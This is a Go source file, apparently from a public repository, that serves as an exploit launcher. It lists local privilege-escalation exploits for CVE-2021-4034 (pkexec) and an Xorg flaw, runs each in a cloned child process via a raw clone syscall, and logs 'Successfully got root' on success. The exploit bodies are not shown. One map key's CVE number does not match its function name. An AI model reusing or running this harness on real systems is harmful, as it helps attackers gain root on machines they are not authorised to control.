-
Notifications
You must be signed in to change notification settings - Fork 8
/
Copy pathrun.go
49 lines (45 loc) · 1016 Bytes
/
run.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package golpe
import (
"log"
"os"
"os/signal"
"runtime"
"syscall"
)
var All = map[string]func() error{
"CVE-2021-4034": CVE_2021_4034, // pkexec
"CVE-2018-14655": CVE_2018_14665, // xorg
}
func RunAll() (err error) {
for cve, exp := range All {
runtime.LockOSThread()
defer runtime.UnlockOSThread()
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGCHLD)
go func() {
for {
<-sigCh // Wait for SIGCHLD signal
// Reap zombie processes
for {
var status syscall.WaitStatus
// Use WNOHANG to non-blockingly wait for any child process
pid, _ := syscall.Wait4(-1, &status, syscall.WNOHANG, nil)
if pid <= 0 {
break // No more child processes
}
}
}
}()
log.Printf("%d Trying %s...", os.Getpid(), cve)
pid, _, _ := syscall.Syscall(syscall.SYS_CLONE, 0, 0, 0)
if pid == 0 {
err = exp()
if err == nil {
log.Printf("Successfully got root via %s", cve)
break
}
log.Printf("%s: %v", cve, err)
}
}
return
}